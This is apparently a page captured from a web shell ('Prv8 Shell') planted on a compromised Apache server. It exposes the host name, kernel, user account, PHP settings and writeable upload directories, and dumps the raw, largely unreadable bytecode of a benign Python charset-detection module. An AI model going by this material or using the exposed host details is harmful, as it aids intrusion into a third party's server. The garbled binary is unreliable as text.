Prv8 Shell
Server : Apache
System : Linux server.mata-lashes.com 3.10.0-1160.90.1.el7.x86_64 #1 SMP Thu May 4 15:21:22 UTC 2023 x86_64
User : matalashes ( 1004)
PHP Version : 8.1.29
Disable Function : NONE
Directory :  /usr/local/lib/python3.6/site-packages/charset_normalizer/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/local/lib/python3.6/site-packages/charset_normalizer/__pycache__/legacy.cpython-36.pyc
3

G�Kd8
�@s�ddlZddlmZmZmZddlmZmZmZm	Z	ddl
mZddlm
Z
mZeeeeeeeffd�dd	�ZGd
d�de
�ZGdd
�d
e�ZGdd�de�ZGdd�de�ZdS)�N)�Dict�Optional�Union�)�
from_bytes�from_fp�	from_path�	normalize)�CHARDET_CORRESPONDENCE)�CharsetMatch�CharsetMatches)�byte_str�returncCs�t|ttf�s tdjt|����t|t�r2t|�}t|�j�}|dk	rL|jnd}|dk	rh|j	dkrh|j	nd}|dk	r~d|j
nd}|dk	r�|dkr�|jr�|d7}|tkr�|nt|||d�S)	a�
    chardet legacy method
    Detect the encoding of the given byte string. It should be mostly backward-compatible.
    Encoding name will match Chardet own writing whenever possible. (Not on encoding name unsupported by it)
    This function is deprecated and should be used to migrate your project easily, consult the documentation for
    further information. Not planned for removal.

    :param byte_str:     The byte sequence to examine.
    z4Expected object of type bytes or bytearray, got: {0}N�Unknown�g�?�utf_8Z_sig)�encoding�language�
confidence)
�
isinstance�	bytearray�bytes�	TypeError�format�typer�bestrrZchaos�bomr
)r
�rrrr�r�G/tmp/pip-build-8nxjc3nm/charset-normalizer/charset_normalizer/legacy.py�detect	s 

r c@seZdZdS)�CharsetNormalizerMatchN)�__name__�
__module__�__qualname__rrrrr!0sr!c@s<eZdZedd��Zedd��Zedd��Zedd��Zd	S)
�CharsetNormalizerMatchescOstjdt�t||�S)Nzkstaticmethod from_fp, from_bytes, from_path and normalize are deprecated and scheduled to be removed in 3.0)�warnings�warn�DeprecationWarningr)�args�kwargsrrrr5sz CharsetNormalizerMatches.from_fpcOstjdt�t||�S)Nzkstaticmethod from_fp, from_bytes, from_path and normalize are deprecated and scheduled to be removed in 3.0)r&r'r(r)r)r*rrrr>sz#CharsetNormalizerMatches.from_bytescOstjdt�t||�S)Nzkstaticmethod from_fp, from_bytes, from_path and normalize are deprecated and scheduled to be removed in 3.0)r&r'r(r)r)r*rrrrGsz"CharsetNormalizerMatches.from_pathcOstjdt�t||�S)Nzkstaticmethod from_fp, from_bytes, from_path and normalize are deprecated and scheduled to be removed in 3.0)r&r'r(r	)r)r*rrrr	Psz"CharsetNormalizerMatches.normalizeN)r"r#r$�staticmethodrrrr	rrrrr%4s			r%c@seZdZdS)�CharsetDetectorN)r"r#r$rrrrr,Zsr,c@seZdZdS)�
CharsetDoctorN)r"r#r$rrrrr-^sr-)r&Ztypingrrr�apirrrr	Zconstantr
�modelsrrr�str�floatr r!r%r,r-rrrr�<module>s$'&

haha - 2025